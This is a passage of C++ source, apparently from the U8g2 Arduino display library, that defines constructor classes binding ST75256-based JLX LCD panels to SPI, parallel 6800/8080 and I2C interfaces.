u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_alt_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_2_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_alt_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_2_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_alt_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_F_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX256160_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_F_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX256160_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160m_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160m_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160m_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160m_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160m_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_F_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160m_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_F_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160m_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_alt_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_alt_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_alt_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_alt_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_alt_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_F_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_alt_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_F_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256160_alt_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_1_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_1_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX256160_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_1_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160m_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_1_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160m_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX256160M_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160m_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_1_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160_alt_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_1_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160_alt_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160_alt_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_2_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_2_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX256160_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_2_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160m_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_2_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160m_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX256160M_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160m_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_2_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160_alt_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_2_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160_alt_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160_alt_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_F_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_F_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX256160_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_F_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160m_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX256160M_F_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160m_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX256160M_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160M_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160m_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_F_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160_alt_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_F_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160_alt_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX256160_ALT_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256160_ALT_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256160_alt_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX240160_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx240160_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX240160_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx240160_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX240160_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx240160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX240160_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx240160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX240160_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx240160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_1_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX240160_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, 